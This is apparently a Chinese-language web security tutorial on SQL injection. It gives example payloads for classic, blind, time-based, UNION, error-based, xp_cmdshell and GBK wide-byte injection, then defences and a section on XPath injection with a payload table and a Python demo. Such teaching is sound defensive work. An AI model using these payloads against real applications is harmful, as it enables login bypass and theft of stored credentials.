简介
SQL 注入漏洞非常复杂,区分各种数据库类型,提交方法,数据类型
等注入,同样此类漏洞是WEB安全中严重的安全漏洞,学习如何利用,挖掘,修复也是很重要的
原理
SQL注入的基本原理是利用应用程序对用户输入的过滤不足,攻击者通过精心构造的输入使得应用程序生成错误的SQL查询,导致数据库执行攻击者控制的SQL代码。
例如,当用户输入的数据直接拼接到SQL查询语句中时,攻击者可以通过输入特殊的SQL字符或SQL语句,改变查询语句的逻辑,甚至绕过认证、泄露敏感数据或修改数据。
SQL注入类型与示例
SQL注入(SQL Injection)是一种攻击手段,攻击者通过将恶意SQL代码插入到输入字段,操控数据库的查询语句,从而获取敏感信息或执行其他不合法的操作。SQL注入的类型多种多样,以下是常见的SQL注入类型及其具体示例。
1. 经典SQL注入(Classic SQL Injection)
经典SQL注入是一种最直接的攻击方式,攻击者通过在输入字段中插入恶意SQL代码,直接改变原有的SQL查询。
示例:
假设有一个登录查询语句:
SELECT * FROM users WHERE username = 'admin' AND password = 'password';
攻击者输入:
- 用户名:
admin' OR '1' = '1
- 密码:
password
注入后的查询:
SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1' = '1';
由于'1' = '1'
始终为真,攻击者通过此SQL注入绕过了身份验证。
2. 布尔盲注(Boolean-based Blind SQL Injection)
布尔盲注是一种SQL注入攻击方式,攻击者通过注入条件来观察应用的行为变化。虽然查询结果没有返回数据,但可以通过真假判断逐步推测数据库结构。
示例:
假设查询为:
SELECT * FROM users WHERE username = 'admin' AND password = 'password';
攻击者输入:
- 用户名:
admin' AND 1=1 --
- 密码:
any_value
注入后的查询:
SELECT * FROM users WHERE username = 'admin' AND 1=1 -- ' AND password = 'any_value';
如果页面返回正常响应,表示1=1
为真,SQL注入成功。
如果条件更改为:
- 用户名:
admin' AND 1=2 --
- 密码:
any_value
注入后的查询:
SELECT * FROM users WHERE username = 'admin' AND 1=2 -- ' AND password = 'any_value';
如果页面没有响应,攻击者知道1=2
为假,从而进一步推测数据。
3. 时间盲注(Time-based Blind SQL Injection)
时间盲注通过让数据库延迟响应来推断SQL查询的结果。攻击者通过注入SLEEP
等函数来制造延迟,观察返回的时间差异以确定查询的结果。
示例:
假设查询为:
SELECT * FROM users WHERE username = 'admin' AND password = 'password';
攻击者输入:
- 用户名:
admin' AND IF(1=1, SLEEP(5), 0) --
- 密码:
password
注入后的查询:
SELECT * FROM users WHERE username = 'admin' AND IF(1=1, SLEEP(5), 0) -- ' AND password = 'password;
如果数据库延迟5秒钟返回响应,攻击者知道1=1
条件成立。
4. 联合查询注入(Union-based SQL Injection)
联合查询注入允许攻击者通过UNION
操作符将多个SELECT
查询结果合并,从而获取数据库中其他表的信息。
示例:
假设原始查询如下:
SELECT username, password FROM users WHERE username = 'admin' AND password = 'password';
攻击者可以注入以下查询,获取所有用户的用户名和密码:
- 用户名:
admin' UNION SELECT username, password FROM users --
- 密码:
password
注入后的SQL查询:
SELECT username, password FROM users WHERE username = 'admin' UNION SELECT username, password FROM users -- ' AND password = 'password';
此查询会返回users
表中的username
和password
字段的数据。
5. 错误基于SQL注入(Error-based SQL Injection)
错误基于注入利用数据库的错误消息来获取有用的信息。攻击者故意构造错误的SQL查询,从中提取数据库版本、表名、列名等敏感信息。
示例:
假设原始SQL查询为:
SELECT * FROM users WHERE username = 'admin' AND password = 'password';
攻击者注入:
- 用户名:
admin' AND 1=CONVERT(int, (SELECT @@version)) --
- 密码:
password
注入后的SQL查询:
SELECT * FROM users WHERE username = 'admin' AND 1=CONVERT(int, (SELECT @@version)) -- ' AND password = 'password';
如果数据库返回错误消息,攻击者就可以从错误信息中提取出数据库的版本信息。
6. 盲注的条件分支(Conditional Blind SQL Injection)
这种注入类型允许攻击者通过特定的条件(如子查询或比较操作)来检查SQL查询是否成功执行。通过条件语句(如SUBSTRING
、CONCAT
等)控制查询的结果。
示例:
假设原始SQL查询如下:
SELECT * FROM users WHERE username = 'admin' AND password = 'password';
攻击者可以尝试以下输入来逐步获取数据库的内容:
- 用户名:
admin' AND (SELECT SUBSTRING(password, 1, 1) FROM users WHERE username = 'admin') = 'a' --
- 密码:
password
注入后的SQL查询:
SELECT * FROM users WHERE username = 'admin' AND (SELECT SUBSTRING(password, 1, 1) FROM users WHERE username = 'admin') = 'a' -- ' AND password = 'password';
根据返回的页面内容(如是否包含正确的字符),攻击者逐步获取到完整的密码。
7. 存储过程注入(Stored Procedure Injection)
存储过程注入利用数据库中的存储过程执行恶意命令。攻击者通过执行存储过程,能够直接在数据库上运行操作系统命令或恶意SQL代码。
示例:
SELECT * FROM users WHERE username = ‘admin’ AND password = ‘password’;
攻击者输入:
- 用户名:
admin'; EXEC xp_cmdshell('dir') --
- 密码:
password
存储过程xp_cmdshell
可以允许执行操作系统命令,如列出文件目录。
注入后的SQL查询:
SELECT * FROM users WHERE username = 'admin'; EXEC xp_cmdshell('dir') --
8. 宽字节注入(Wide-Byte Injection)
宽字节注入利用字符编码的差异,特别是一些应用程序没有正确处理宽字节字符(如UTF-8、GBK、Big5等),从而绕过过滤器。
示例:
SELECT * FROM users WHERE username = ‘$username’
如果应用程序只过滤单字节的字符(如单引号'
),攻击者可以使用宽字节字符(如UTF-8中的’
)来绕过过滤器。
攻击者输入:%bf%27 OR 1=1 —
即:
%bf
=0xBF
%27
='
假设服务端使用 GBK 解码,则变成:SELECT * FROM users WHERE username = ‘縅 OR 1=1 –‘
'縅
是一个合法字符(由于 0xBF27 是 GBK 中合法双字节字符),不是单引号开头。
后续的 OR 1=1 --
成为有效的 SQL 注入语句。
防御SQL注入的最佳实践
- 使用参数化查询(Prepared Statements):
- 使用预处理语句和参数化查询,避免直接将用户输入嵌入SQL查询中。
- 例如,使用
PDO
(PHP)、JDBC
(Java)等数据库库进行参数化查询。
- 输入验证与过滤:
- 对所有输入进行严格的验证,确保输入数据符合预期格式,拒绝包含SQL关键字或特殊字符的输入。
- 避免使用白名单以外的字符。
- 最小权限原则:
- 数据库账户应仅拥有执行应用程序所需的最小权限,避免使用具有过高权限的账户(如
root
)。
- 数据库账户应仅拥有执行应用程序所需的最小权限,避免使用具有过高权限的账户(如
- 错误信息处理:
- 禁止将详细的数据库错误信息暴露给用户,避免攻击者利用错误信息进行攻击。
- Web应用防火墙(WAF):
- 部署Web应用防火墙(WAF),帮助识别并拦截SQL注入攻击。
拓展
XPath 注入(XPath Injection)
📌 什么是 XPath?
XPath(XML Path Language)是一种用于在 XML 文档中查找信息的查询语言,类似于 SQL 之于数据库。
示例 XPath 查询语句:
/users/user[username='admin' and password='123456']
🚨 什么是 XPath 注入?
当应用程序将用户输入直接拼接进 XPath 查询语句中,攻击者可以通过构造恶意输入来改变 XPath 的逻辑,实现越权、数据泄露、绕过认证等目的。
✅ 正常认证示例
# 用户输入
username = input("请输入用户名:") # admin
password = input("请输入密码:") # 123456
# 构造 XPath 查询
xpath_query = f"/users/user[username='{username}' and password='{password}']"
❌ XPath 注入攻击示例
攻击者输入:
- 用户名:
' or '1'='1
- 密码:
' or '1'='1
拼接结果:
/users/user[username='' or '1'='1' and password='' or '1'='1']
效果: 无论实际用户名密码为何,该 XPath 表达式总是返回 true,认证被绕过。
🧪 常见 Payload 示例
目标 | Payload |
---|---|
绕过认证 | ' or '1'='1 |
探测结构 | ' or name()='admin |
报错测试 | ' and 'a'='b |
盲注测试 | ' and string-length(name())=5 |
🛡️ 防御措施
- 避免拼接用户输入到 XPath 表达式中。
- 使用安全 API,如参数化的 XPath(XPathVariableResolver)。
- 对用户输入进行转义或字符白名单过滤。
- 限制输入长度和内容(如禁止使用引号、逻辑运算符等)。
- 使用数据库代替 XML 存储,减少 XPath 使用。
🧷 参考示例(Python 中使用 lxml)
from lxml import etree
xml = '''
<users>
<user><username>admin</username><password>123456</password></user>
<user><username>guest</username><password>guest</password></user>
</users>
'''
root = etree.XML(xml)
# 不安全方式(易被注入)
username = "' or '1'='1"
password = "' or '1'='1"
query = f"/users/user[username='{username}' and password='{password}']"
result = root.xpath(query)
print(f"匹配结果:{len(result)}")
📚 总结
XPath 注入类似于 SQL 注入,主要发生在使用 XML 数据和不安全拼接用户输入时。务必采取输入验证和使用安全的解析方式来防御此类攻击。
XPath注入万能钥匙:']|//*|//*['
用于 XPath 注入 的典型 Payload,目的是绕过验证或提取 XML 中的任意节点信息。
厉害